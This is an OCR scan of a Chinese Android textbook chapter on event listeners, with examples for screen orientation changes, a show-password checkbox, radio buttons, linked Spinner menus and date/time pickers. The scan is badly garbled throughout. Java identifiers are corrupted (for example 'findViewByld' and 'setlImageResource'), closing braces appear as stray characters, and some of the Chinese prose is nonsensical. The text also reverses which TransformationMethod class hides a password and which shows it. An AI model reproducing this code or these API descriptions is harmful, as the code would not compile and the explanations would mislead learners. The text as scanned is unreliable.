this.change.setOnClickListener(new MyOnClickListenerlImpl()) ; /设置 监 
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private class MyOnClickListenerImpl implements OnClickListener { // 单 击 事件 


@Override 
public void onClick(View view) { 
if (MyClickDemo.this.getRequestedOrientation() == 
Activitylnfo.SCREEN_ORIENTATION_UNSPECIFIED) { /无 法 进行 画面 旋转 


操作 
MyClickDemo.this.change.setText(" 错 误 : 无 法 改变 屏幕 方向 。") ; 
}else{ 
if (MyClickDemo.this.getRequestedOrientation() == 
Activitylnfo.SCREEN_ORIENTATION_LANDSCAPE) { // 当 前 为 横 
屏 显 示 
MyClickDemo.this.setRequestedOrientation( 
ActivityInfo.SCREEN_ORIENTATION_PORTRAIT);// 竖 屏 显 示 
} else if (MyClickDemo.this.getRequestedOrientation() == 
Activitylnfo.SCREEN_ORIENTATION_PORTRAIT) { // 当 前 为 竖 屏 
显示 
MyClickDemo.this.setRequestedOrientation( 
ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE); // 横 屏 显示 
1 
I 
ln 
} 
@Override 
public void onConfigurationChanged(Configuration newConfig) { ”// 系 统 设置 改变 时 触发 
if (newConfig.orientation == 
Configuration.ORIENTATION_LANDSCAPE) { // 当 前 屏幕 是 横 屏 显 示 
MyClickDemo.this.change.setText( 
"改变 屏幕 方向 为 坚 屏 显示 (当前 为 模 屏 显示 )");// 设 置 组 件 文字 
MyClickDemo.this.img.setlImageResource( 
R.drawable.mldn_landscape) ; // 改 变 图 片 
} else if (newConfig.orientation == 
Configuration.ORIENTATION_PORTRAIT) { // 当 前 屏幕 是 坚 屏 显示 
MyClickDemo.this.change.setText( 
"改变 屏幕 方向 为 横 屏 显示 (当前 为 坚 屏 显示 )"); ”// 设 置 组 件 文字 
MyClickDemo.this.img.setlImageResource( 
R.drawable.mldn_portrait) ; /改变 图 片 
1 
super.onConfigurationChanged(newConfig); 
} 
} 


在 本 程序 中 ， 首 先 分 别 取得 了 按钮 (Button) 和 图 片 〈ImageView) 两 个 组 件 ， 之 后 在 按钮 
组 件 上 设置 了 单 击 操作 事件 ， 当 用 户 使 用 setRequestedOrientation() 方 法 修改 了 屏幕 显示 方向 之 后 ， 
会 触发 onConfigurationChanged0 事 件 ， 所 以 在 此 方法 中 将 修改 按钮 的 显示 文字 和 图 片 组 件 的 显示 
图 片 。 但 是 如 果 要 想 使 用 onConfigurationChanged0 事 件 ， 还 需要 在 项 目 中 的 AndroidManifestxml 
文件 中 进行 一 些 配置 。 
【 例 6-8】 配置 AndroidManifest.xml 文件 
<?xml version="1.0" encoding="utf-8"?> 
<manifest 
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在 本 配置 文件 中 ， 


xmlIns:android="http:/schemas.android.com/apK/res/android”" 


package="org./xh.demo” 
android:versionCode="1" 
android:versionName= "1.0> 


<uses-sdk android:minSdkVersion="10"/> 


<application 


android:icon="@drawable/icon" 


android:label="@string/app_name”> 


<activity 


android:name=".MyClickDemo" 
android:label="@string/app_name”" 


android:configChanges="orientation|lkeyboard” 


android:screenOrientation="portrait"> 


<intent-filter> 


// 程 序 所 在 的 包 名 称 

1/ 程序 的 版 本 号 

// 显 示 给 用 户 的 版 本 信息 

// 最 低 运 行 级 别 

// 配 置 应 用 程序 

// 程 序 的 图 标 

// 配 置 显 示 标签 

// 配 置 Activity 程序 
/Activity 程序 类 

// 程 序 名 称 

/配置 configChanges 事件 
// 默 认 屏 幕 显示 方式 为 竖 屏 
/程序 运行 时 启动 


<action android:name="android.intent.action.MAIN" /> 
<category android:name="android.intent.category.LAUNCHER" /> 


</intent-filter> 
</activity> 
</application> 
<uses-permission 


/设置 允许 改变 配置 信息 的 权限 


android:name="android.permission.CHANGE _ CONFIGURATION" /> 
</manifest> 


主要 有 两 个 新 增加 的 配置 信息 。 


(1) 配置 Activity 程序 要 捕获 的 事件 类 型 : 
android:configChanges="orientation|keyboard" 
如 果 要 想 让 Activity 程序 中 的 onConfigurationChanged() 方 法 起 作用 ， 则 一 定 要 配置 android: 
configChanges 属性 ， 而 此 属性 将 监听 两 个 事件 操作 : 屏幕 〈orientation) 和 键盘 〈keyboard) ， 这 
两 个 事件 操作 之 间 使 用 “|” 进 行 分 隔 。android:configChanges 属性 可 以 配置 的 事件 如 表 6-5 所 示 。 


表 6-5 android:configChanges 可 配置 的 事件 


No. 配置 事件 

和 orientation 设备 旋转 时 触发 ， 如 屏幕 横 屏 、 坚 屏 切换 

keyboard 键盘 发 生 改 变 时 触发 ， 如 用 户 使 用 外 接 键盘 

keyboardHidden 用 户 打开 手机 硬件 键盘 时 触发 

es 移动 国家 号 码 ， 由 3 位 数字 组 成 ， 每 个 国家 都 有 自己 独立 的 MCC， 
可 以 识别 手机 所 属国 家 

5 mnce 移动 网 号 ， 在 一 个 国家 或 者 地 区 中 ， 用 于 区 分 手机 用 户 的 服务 商 

6 locale 用 户 所 在 地 区 发 生变 化 时 触发 

7 fontScale 缩放 全 局 字体 的 大 小 时 触发 

8 touchscreen 触摸 屏 发 生变 化 一般 不 会 发 

9 navigation 导航 类 型 发 生 改变 (一 般 不 会 


(2) 配置 操作 权限 : 


<uses-permission android:name="android.permission.CHANGE_CONFIGURATION" /> 
此 配置 表示 允许 用 户 修改 配置 信息 ， 即 当 配置 此 权限 之 后 ，Activity 程序 运行 时 使 用 用 户 所 
履 写 的 onConfigurationChanged() 方 法 进行 操作 。 
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7 提示 

屏幕 也 可 以 自 适 应 方向 。 

相信 使 用 过 Android 手机 的 用 户 都 知道 ， 在 Android 手机 上 可 以 通过 手工 改变 屏幕 的 方向 ， 
而 后 由 手机 自 适 应 显示 , 而 这 一 功能 的 实现 只 需要 将 <activity> 节 点 中 的 android:screenOrientation 
属性 配置 为 sensor 即 可 ， 这 一 点 读者 可 以 自行 实验 。 


了 提示 

关于 android.permission.CHANGE CONEFIGURATION 权限 。 

笔者 在 模拟 器 上 运行 程序 时 发 现 ， 如 果 暂 不 配置 CHANGE CONFIGURATION 权限 也 可 以 
正常 使 用 onConfigurationChanged() 方 法 进行 操作 ， 这 与 Android 开发 文档 给 出 的 说 明 是 不 一 样 


的 ， 所 以 笔者 认为 此 权限 有 可 能 是 针对 于 一 些 特殊 版 本 的 Android 用 户 使 用 的 , 但 是 在 以 上 的 配 
置 中 ， 如 果 不 配置 android:configChanges 属性 ， 则 肯定 无 法 触发 onConfigurationChanged() 方 法 。 


程序 的 运行 结果 如 图 6-5 所 示 。 其 中 ， 竖 屏 的 显示 效果 如 图 6-5(a》 所 示 ， 而 横 屏 的 显示 效 
果 如 图 6-5(b》 所 示 考 虑 到 用 户 浏览 图 片 的 方便 ， 本 书 在 显示 图 6-5 (b) 时 将 手机 屏幕 切换 
成 了 横 屏 显示 ) 。 


CEE7TZCTER jj xl 
中 基山 南 1131 


改变 屏幕 方向 为 坚 屏 


i di 


Ee i 
i 
MG + 
www.mlidn.cn 
(a) 竖 屏 显示 (b) 横 屏 显示 
图 6-5 屏幕 切换 操作 


MycClickDemo 
变 前 为 横 
ee 


6.2.4 实例 3: 明文 显示 密码 


在 很 多 情况 下 ， 为 了 确保 用 户 输入 的 密码 正确 ， 会 为 用 户 提供 一 个 “显示 密码 ”的 功能 。 当 上 
户 选 择 “ 显 示 密 码 ” 时 ， 会 为 用 户 将 密码 框 中 的 密码 以 明文 的 方式 显示 ; 而 当 用 户 不 需要 查看 时 ， 
可 以 重新 采用 密 文 的 形式 显示 密码 。 此 功能 就 可 以 借助 于 EditText 类 中 的 setTransformationMethod(O) 
方法 完成 (此 方法 的 使 用 就 相当 于 在 布局 文件 中 配置 的 android:password="true" 属 性 ) ， 但 是 
方法 需要 传 入 一 个 android text.method.TransformationMethod 接口 的 实例 化 对 象 ， 而 此 时 可 以 使 
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此 接口 的 两 个 子 类 。 
密 文 显示 : android.textmethod HideRetumsTransformationMethod。 
明文 显示 : android.text.method.PasswordTransformationMethod。 


用 户 在 使 用 这 两 个 子 类 时 ， 直 接 利用 这 两 个 类 提供 的 getInstance0 方 法 即 可 完成 ， 下 面 通过 


-个 实例 说 明 。 
【 例 6-9】 配置 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout // 定 义 线性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apK/res/android”" 


android:orientation="vertica/” // 所 有 组 件 垂直 摆 放 

android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 

android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 

<TextView // 定 义 文本 显示 组 件 
android:id="@+id/msg”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content”" // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content" // 组 件 高 度 为 文字 高 度 
android:text=" 迟 租 入 房 户 答 到 : "|> // 默 认 显 示 文 字 

<EditText // 定 义 文本 编辑 组 件 
android:id="@+id/password" 1/ 组件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:password="true”" /> // 采 用 密 文 显示 

<CheckBox /定义 复 选 框 组 件 
android:id="@+id/show” 1/ 组件 ID， 程 序 中 使 用 
android:layout_width="wrap_content”" // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content" // 组 件 高 度 为 文字 高 度 
android:checked="false" // 默 认 不 选中 
android:text= "多 元 珍 三 /> // 默 认 显 示 文 字 


</LinearLayout> 


在 本 布局 管理 器 中 ， 定 义 的 文本 编辑 框 (EditText) 采用 密 文 的 方式 显示 所 有 的 文字 ， 


“显示 密码 ” 复 选 框 的 选中 状态 默认 为 false。 
【 例 6-10】 定义 Activity 程序 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.text.method.HideReturnsTransformationM 


ethod; 


import android.text.method.PasswordTransformation Method; 


import android.view.View; 
import android.view.View.OnClickListener; 
import android.widget.CheckBox; 
import android.widget.EditText; 
public class MyClickDemo extends Activity { 
private EditText password = null ; 
private CheckBox show = null ; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 


// 父 类 onCreate() 
/定义 布局 管理 器 
this.password = (EditText) super findViewByld(R.id.password) ; /取得 组 件 


所 以 
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this.show = (CheckBox) super.findViewByld(R.id.show) ; // 取 得 组 件 
this.show.setOnClickListener(new OnClickListenerImpl()) ; ”// 设 置 监 
} 
private class OnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 
if (show.isChecked()) { // 复 选 框 被 选中 
MyClickDemo.this.password 
.setTransformationMethod(HideReturnsTransformationMethod 
-getinstance()); // 文 本 框 内 容 可 见 
}else{ 
MyClickDemo.this.password 
.SetTransformationMethod(PasswordTransformationMethod 
-getinstance()); /文本 框 内 容 不 可 见 
ld 
} 


在 本 程序 中 首先 取得 了 CheckBox 组 件 , 之 后 在 此 组 件 上 定义 了 一 个 单 击 事件 ,此 单 击 事件 
的 操作 类 (OnClickListenerImpl) 将 针对 于 复 选 框 的 状态 进行 输入 文字 的 明文 和 密 文 切换 ， 程 序 
的 运行 效果 如 图 6-6 所 示 。 


CEEZTTTES CHEERED] 


(a) 默认 为 密 文 显示 (b) 采用 明文 显示 


图 6-6 明文 显示 密码 


6.3 单 选 按 钮 与 OnCheckedChangeListener 


单 选 按钮 (RadioGroup) 上 也 可 以 进行 事件 的 处 理 操作 ， 当 用 户 选 中 了 某 选 项 之 后 也 将 触 
发 相应 的 监听 器 进行 若干 处 理 ， 而 注册 事件 的 方法 为 public void setOnCheckedChangeListener 
(RadioGroup.OnCheckedChangeListener listener)。 

/提示 

CheckBox 上 也 提供 了 setOnCheckedChangeListener0 方 法 。 

CheckBox 和 RadioGroup 一 样 都 是 多 选项 操作 ， 所 以 CheckBox 类 中 也 提供 了 选项 改变 
的 监听 方法 ， 如 下 所 示 : 

public void setOnCheckedChangeListener(CompoundButton.OnCheckedChangeListener listener) 

此 方法 为 android.widget.CompoundButton 类 中 继承 而 来 ， 与 RadioGroup 类 的 方法 在 参 
数 上 有 所 不 同 。 
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下 面 首先 通过 一 个 性 别 的 选择 操作 来 演示 OnCheckedChangeListener 事件 的 使 用 。 程序 运行 
时 ， 当 用 户 选 择 了 性 别 之 后 会 自动 地 在 文本 框 中 将 用 户 的 选择 进行 显示 。 
【 例 6-11】 观察 单 选 按 钮 事件 的 基本 操作 一 一 main.xml 

<?xml version="1.0" encoding="utf-8"?> 

<LinearLayout // 定 义 线性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apK/res/android”" 
android:orientation="vertica/" /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_ parent” // 布 局 管理 器 宽度 为 屏幕 宽度 


android:layout_height="fill parent"> 


// 布 局 管理 器 高 度 为 屏幕 高 度 


<TextView // 文 本 显示 组 件 
android:id="@+id/show”" // 组 件 ID， 程 序 中 使 用 
android:text=" 徐 的 糙 别 是 : “ /默认 显示 文字 
android:textSize="20px”" // 文 字 大 小 为 20 像素 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 

<RadioGroup // 单 选 按钮 
android:id="@+id/sex" // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:orientation="Vvertical” // 所 有 选项 垂直 摆 放 
android:checkedButton="@+id/male'> // 设 置 默 认 选中 项 
<RadioButton // 定 义 单 选 按钮 

android:id="@+id/male” // 组 件 ID， 程 序 中 使 用 
android:text=" 匈 /> // 默 认 显 示 文 字 
<RadioButton /定义 单 选 按钮 
android:id="@+id/female” // 组 件 ID， 程 序 中 使 用 
android:text=" 女 /> // 默 认 显 示 文 字 
</RadioGroup> 
</LinearLayout> 


本 布局 管理 器 配置 了 一 个 文本 组 件 和 一 个 单 选 按 钮 组 件 ， 


组 件 中 显示 此 选项 的 内 容 。 


【 例 6-12】 定义 Activity 程序 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.widget.RadioButton; 
import android.widget.RadioGroup; 


import android.widget.RadioGroup.OnCheckedChangeListener; 


import android.widget. TextView; 


public class MyRadioListenerDemo extends Activity { 


private TextView show = null ; 
private RadioGroup sex = null ; 
private RadioButton male = null ; 
private RadioButton female = null ; 
@Override 


// 取 得 单 选 按钮 


当选 中 某 单 选 按钮 时 ， 将 在 文本 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
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this.show = (TextView) super.findViewByld(R.id.spow) ; /取得 文本 框 
this.sex = (RadioGroup) super .findViewByld(R.id. sex) ; // 取 得 单 选 按钮 选项 


this.male = (RadioButton) super.findViewByld(R.id.male) ; 
this.female = (RadioButton) super .findViewByld(R.id.female) ; 
this.sex.setOnCheckedChangeListener(new OnCheckedChangeListenerImpl()) ; 
1 
private class OnCheckedChangeListenerImpl implements 
OnCheckedChangeListener { 
@Override 
public void onCheckedChanged(RadioGroup group, int checkedld) { 
String temp = null ; 
if (MyRadioListenerDemo.this.male.getld() == checkedld){ 
temp = MyRadioListenerDemo.this.male 
.getText().toString(); // 取 得 单 选 按钮 文本 


L 
if (MyRadioListenerDemo.this .female.getld() == checkedld) { 
temp = MyRadioListenerDemo.this.female 
.getText().toString(); // 取 得 单 选 按钮 文本 


MyRadioListenerDemo.this.show 
.setText(" 您 的 性 别 是 : "+ temp); /设置 文本 显示 


} 
} 
本 程序 中 使 用 了 一 个 OnCheckedChangeListener 监听 器 作为 选项 改变 的 监控 ， 当 用 户 更 改 性 
别 选项 时 ， 将 根据 用 户 的 选择 在 文本 组 件 上 显示 选中 的 内 容 ， 程 序 的 运行 效果 如 图 6-7 所 示 。 


CEETTTTE jj 


图 6-7 单 选 按钮 事件 


6.4 下 拉 列 表 框 与 OnItemSelectedListener 


Spinner 组 件 的 主要 功能 是 用 于 进行 下 拉 列 表 的 显示 ， 当 用 户 选中 下 拉 列 表 中 的 某 个 选项 之 
后 可 以 使 用 Spinner 类 中 提供 的 setOnItemSelectedListener() 方 法 进行 监听 ， 下 面 先 通过 一 个 简单 
的 程序 认识 一 下 OnItemSelectedListener 接口 的 使 用 。 

【 例 6-13】 定义 下 拉 列 表 内 容 的 配置 文件 
<?xml version="1.0" encoding="utf-8"?> 
<resources> 

<string-array name="city_labels"> 


values\city_data.xml 
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<item> 中 国 - 北京 </item> 
<item> 中 国 - 上 海 </item> 
<item> 中 国 - 广州 </item> 
</string-array> 
</resources> 
【 例 6-14】 配置 strings.xml 文件 ， 建 立 提示 信息 
<?xml version="1.0" encoding="utf-8"?> 
<resources> 
<string name="hello">Hello World, MySpinnerListenerDemol</string> 
<string name="app_name">MySpinnerListenerDemo</string> 


<string name= "ci' rompt">; : </string> 
</resources> 
【 例 6-15】 定义 布局 管理 器 文件 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout // 定 义 线性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apKk/res/android" 
android:orientation="Vertica/” // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TextView // 文 本 显示 组 件 
android:id="@+id/info” // 组 件 ID， 程 序 中 使 用 
android:text="@string/city_prompt” // 提 示 文 字 信息 
android:layout_width="fil/_parent”" // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content"/> // 组 件 高 度 为 文字 高 度 
<Spinner /定义 下 拉 列 表 框 
android:id="@+id/city" // 组 件 ID， 程 序 中 使 用 
android:prompt="@string/city_prompt” // 提 示 文 字 
android:layout_width="wrap_content”" // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:entries="@array/city_labels"/> // 组 件 选项 列表 


</LinearLayout> 
【 例 6-16】 定义 Activity 程序 ， 进 行 下 拉 列 表 监 听 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.view.View; 
import android.widget.AdapterView; 
import android.widget.AdapterView.OnltemSelectedListener; 
import android.widget.Spinner; 
import android.widget. TextView; 
public class MySpinnerListenerDemo extends Activity { 


private Spinner city = null; // 定 义 下 拉 列 表 框 

private TextView info = null; /定义 文本 显示 框 

@Override 

public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); // 父 类 onCreate() 
super.setContentView(R.layout.main); // 调 用 布局 管理 器 


this.city = (Spinner) super.findViewByld(R.id.city);，// 取 得 组 件 
this.info = (TextView) super .findViewByld(R.id.info);// 取 得 组 件 
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this.city.setOnltemSelectedListener( 


new OnltemSelectedListenerlmpl()); /设置 监听 器 
} 
private class OnltemSelectedListenerImpl implements OnltemSelectedListener { 
@Override 
public void onltemSelected(AdapterView<?> adapterView, View view, 
int position, long id) { // 选 项 选中 时 触发 
String value = adapterView 
.getltemAtPosition(position).toString(); // 取 得 选项 内 容 
MySpinnerListenerDemo .this_.info.setText(" 您 喜欢 的 城市 是 : " + value); 
} 
@Override 
public void onNothingSelected(AdapterView<?> adapterView) { /没有 选项 时 触发 
} 
} 


} 
在 本 程序 中 为 下 拉 列 表 框 配置 了 选项 改 
变 的 事件 监听 操作 ， 当 用 户 选 中 某 选 项 之 后 


ER 


将 通过 OnItemSelectedListenerImpl 类 中 的 i 
onItemSelected0) 方 法 取得 选中 的 选项 内 容 ， . 

5 en 中 国 -北京 vv 

并 将 其 设置 到 文本 组 件 中 显示 ， 各 序 的 运行 。。 Eo 


效果 如 图 6-8 所 示 。 图 6-8 ”列表 事件 

了 解 了 下 拉 列 表 的 事件 操作 之 后 ， 下 面 
再 来 看 一 个 常见 的 功能 一 一 联动 菜单 。 而 的 该 动 亲生 是 提 近 从 殉 让 下 所 玫 安 。 当 第 一 个 下 拉 
列表 的 选项 发 生 改变 时 ， 第 二 个 下 拉 列 表 也 可 以 显示 出 与 一 级 下 拉 列 表 相 关 的 数据 项 。 


提示 

关于 联动 菜单 。 

在 Web 开发 中 ， 联 动 菜单 是 一 个 最 基本 的 功能 实现 ， 加 法 各 ke Web 让 
联动 菜单 ， 可 以 参考 本 系 丈 


下 面 通过 一 个 实际 的 程序 演示 联动 菜单 的 实现 ， 本 程序 将 在 之 前 程序 的 基础 之 上 完成 ， 当 
用 户 选 择 某 一 个 城市 之 后 ， 会 自动 地 在 第 二 个 下 拉 列 表 中 列 出 该 城市 的 城区 。 
【 例 6-17】 定义 表示 城市 信息 的 资源 文件 一 一 values\city_data.xml 
<?xml version="1.0" encoding="utf-8"?> 
<resources> 
<string-array name="city_/abels’> 
<item> 中 国 - 北京 </item> 
<item> 中 国 - 上 海 </item> 
<item> 中 国 - 广州 </item> 
</string-array> 
</resources> 
由 于 在 显示 下 拉 列 表 时 需要 编写 提示 信息 ， 所 以 下 面 还 需要 修改 strings.xml 文件 。 
【 例 6-18】 配置 字符 串 信息 一 一 values\strings.xml 
<?xml version="1.0" encoding="utf-8"?> 
<resources> 
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<string name="hello">Hello World, MySpinnerListenerDemol</string> 
<string name="app_name">MySpinnerListenerDemo</string> 


<string name= "ci' rompt"> :</string> 
<string name="area_prompt"> 选 择 你 喜欢 的 城区 : </string> 
</resources> 


【 例 6-19】 定义 布局 管理 器 一 一 main.xml 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout /定义 线性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apK/res/android”" 
android:orientation="horizonta/”" // 所 有 组 件 水 平 摆 放 
android:layout_width="fill_parent” /此 布局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 此 布局 管理 器 高 度 为 屏幕 高 度 
<Spinner // 定 义 下 拉 列 表 框 

android:id="@+id/city" // 组 件 ID， 程 序 中 使 用 
android:prompt="@string/city_prompt" // 列 表 框 的 提示 信息 
android:layout_width="wrap_content" // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:entries="@array/city_labels" /> /下 拉 列 表 项 
<Spinner /定义 下 拉 列 表 框 
android:id="@+id/area”" // 组 件 ID， 程 序 中 使 用 
android:prompt="@string/area_prompt”" // 列 表 框 的 提示 信息 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height= "wrap_content"/> // 组 件 高 度 为 文字 高 度 
</LinearLayout> 


在 本 布局 管理 器 中 , 分 别 定义 了 两 个 列表 框 (city、area) ，city 列表 框 将 从 配置 项 city_labels 

中 读 取 所 有 的 列表 项 进行 显示 ; 而 area 列表 框 将 通过 Activity 程序 自动 配置 。 
【 例 6-20】 定义 Activity 程序 ， 实 现 联 动 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.view.View; 

import android.widget.AdapterView; 

import android.widget.AdapterView.OnltemSelectedListener; 

import android.widget.ArrayAdapter; 

import android.widget.Spinner; 

public class MySpinnerListenerDemo extends Activity { 


private Spinner city = null; /定义 下 拉 列 表 框 
private Spinner area = null; /定义 下 拉 列 表 框 
private String[][] areaData = new String[][] { /定义 联动 菜单 项 
{ "东城 ", "西城 ", "朝阳 ", "大 兴 ", "平谷 " }， // 第 一 级 子 选项 
{ "黄浦 ", "杨浦 ", "闵行 " }, // 第 二 级 子 选项 
(ls // 第 三 级 子 选项 
private ArrayAdapter<CharSequence> adapterArea = null; /下 拉 列 表 内 容 适 配器 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); // 父 类 onCreate() 
super.setContentView(R.layout.main); // 调 用 布局 管理 器 
this.city = (Spinner) super .findViewByld(R.id.city); // 取 得 组 件 
this.area = (Spinner) super.findViewByld(R.id.area); // 取 得 组 件 


111 


名 师 讲坛 一 一 Android 开发 实战 经 典 


this.city.setOnltemSelectedListener( 


new OnltemSelectedListenerlmpl()); // 设 置 监听 器 
} 
private class OnltemSelectedListenerImpl implements OnltemSelectedListener { 
@Override 
public void onltemSelected(AdapterView<?> adapterView, View view, 
int position, long id) { // 选 项 选中 时 触发 
MySpinnerListenerDemo this.adapterArea = new ArrayAdapter<CharSequence>( 
MySpinnerListenerDemo.this, 
android.R.layout.simple_spinner_item, 
MySpinnerListenerDemo.this.areaData[position]); /实例 化 列表 项 
MySpinnerListenerDemo.this.adapterArea.setDropDownViewResource( 
android.R.layout.simple_spinner_dropdown_item); /设置 列表 显示 风格 
MySpinnerListenerDemo.this.area 
.setAdapter(MySpinnerListenerDemo.this.adapterArea);，// 设 置 数 据 
1 
@Override 
public void onNothingSelected(AdapterView<?> adapterView) { /没有 选项 时 触发 
b 
} 


} 

本 程序 为 了 方便 读者 理解 ， 将 所 有 的 二 级 下 拉 菜 单 的 列表 项 通过 一 个 数组 (areaData) 进行 
表示 ， 当 用 户 选 中 某 一 个 一 级 下 拉 列 表 的 选项 之 后 ， 都 会 将 数组 中 的 指定 内 容 通过 ArrayAdapter 
类 进行 封装 ， 并 将 其 设置 在 二 级 下 拉 列 表 中 ， 程 序 的 运行 效果 如 图 6-9 所 示 。 


CEESTTTTE 


申 车 南 12:30 


(a) 设置 二 级 下 拉 列 表 内 容 (b) 查看 二 级 下 拉 列 表 
图 6-9 联动 菜单 的 实现 


6.5 监听 日 期 与 时 间 的 改变 


日 期 选择 器 (DatePicker) 和 时 间 选 择 器 (TimePicker) 可 以 用 于 进行 日 期 与 时 间 的 调整 ， 
当 两 者 进行 调整 时 也 可 以 采用 相关 的 监听 器 对 其 状态 进行 监听 。 
回 日 期 监听 器 接口 : android.widget.DatePicker.OnDateChangedListener。 
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回 时 间 监 听 器 接口 : android.widget.TimePicker.OnTimeChangedListener。 
下 面 通过 程序 演示 动态 取得 日 期 时 间 的 操作 ， 当 用 户 修改 日 期 时 间 时 会 在 一 个 文本 输入 框 
中 按照 “yyyy-MM-dd HH:mm” 的 形式 显示 当前 所 设置 的 日 期 时 间 。 
【 例 6-21】 定义 布局 管理 器 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 定 义 线 性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apK/res/android”" 
android:orientation="vVertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent”" // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<EditText // 文 本 输入 组 件 

android:id="@+id/input” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 
<LinearLayout // 内 赃 线 性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apk/res/android" 
android:orientation="horizontal” /所 有 组 件 水 平 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent> // 布 局 管理 器 高 度 为 屏幕 高 度 
<DatePicker // 日 期 选择 器 
android:id="@+id/date”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 显示 宽度 
android:layout_height= "wrap_content"/> // 组 件 高 度 为 显示 高 度 
<TimePicker /时间 选 择 器 
android:id="@+id/time”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 显示 宽度 
android:layout_height="wrap_content" /> // 组 件 高 度 为 显示 高 度 
</LinearLayout> 
</LinearLayout> 


在 本 布局 管理 器 中 采用 了 内 藤 布 局 管理 器 的 模式 对 组 件 进行 排列 ， 日 期 选择 器 和 时 间 选 择 
器 将 采用 水 平 布局 的 方式 进行 排列 。 
【 例 6-22】 定义 Activity 程序 ， 操 作 日 期 时 间 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.widget.DatePicker; 
import android.widget.DatePicker.OnDateChangedListener; 
import android.widget.EditText; 
import android.widget. TimePicker; 
import android.widget. TimePicker.OnTimeChangedListener; 
public class MyDateTimeDemo extends Activity { 
private EditText input = null; 
private DatePicker date = null; 
private TimePicker time = null; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
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super.setContentView(R.layout.main); 


this.input = (EditText) super .findViewByld(R.id.input); // 取 得 组 件 
this.date = (DatePicker) super .findViewByld(R.id.date); // 取 得 组 件 
thistime = (TimePicker) super.findViewByld(R.id.time); // 取 得 组 件 
this.time.setls24HourView(true); /设置 为 24 小 时 制 
this .time.setOnTimeChangedListener( 

new OnTimeChangedListenerImpl()); 1/ 设置 时 间 改 变 监 


this.date.init(this.date.getYear(), this.date.getMonth()， 
this.date.getDayOfMonth(), 


new OnDateChangedListenerlmpl()):; /设置 日 期 改变 监听 
this.setDateTime(); /设置 文本 日 期 
} 
public void setDateTime(){ // 设 置 文本 内 容 


this.input.setText(this.date.getYear() + "- 
+ (this.date.getMonth() + 1) + "-" + this.date.getDayOfMonth() 


+" "+ 人 this.time.getCurrentHour() + ": 


+ this.time.getCurrentMinute()); // 设 置 文本 
} 
private class OnDateChangedListenerImpl implements OnDateChangedListener { 
@Override 
public void onDateChanged(DatePicker view, int year, int monthOfYear, 
int dayOfMonth) { 
MyDateTimeDemo.this.setDateTime(); /日 期 改变 时 修改 文本 
} 
} 
private class OnTimeChangedListenerImpl implements OnTimeChangedListener { 
@Override 
public void onTimeChanged(TimePicker view, int hourOfDay, int minute) { 
MyDateTimeDemo.this.setDateTime(); /时 间 改 变 时 修改 文本 
} 
} 


} 
在 本 程序 中 首先 依次 取得 了 各 个 配置 组 件 ， 随 后 使 用 setOnTimeChangedListener() 方 法 为 时 
间 选 择 器 定义 了 一 个 事件 监听 ， 而 日 期 选择 器 的 监听 事件 则 需要 通过 init( 方 法 完成 ， 此 方法 首 
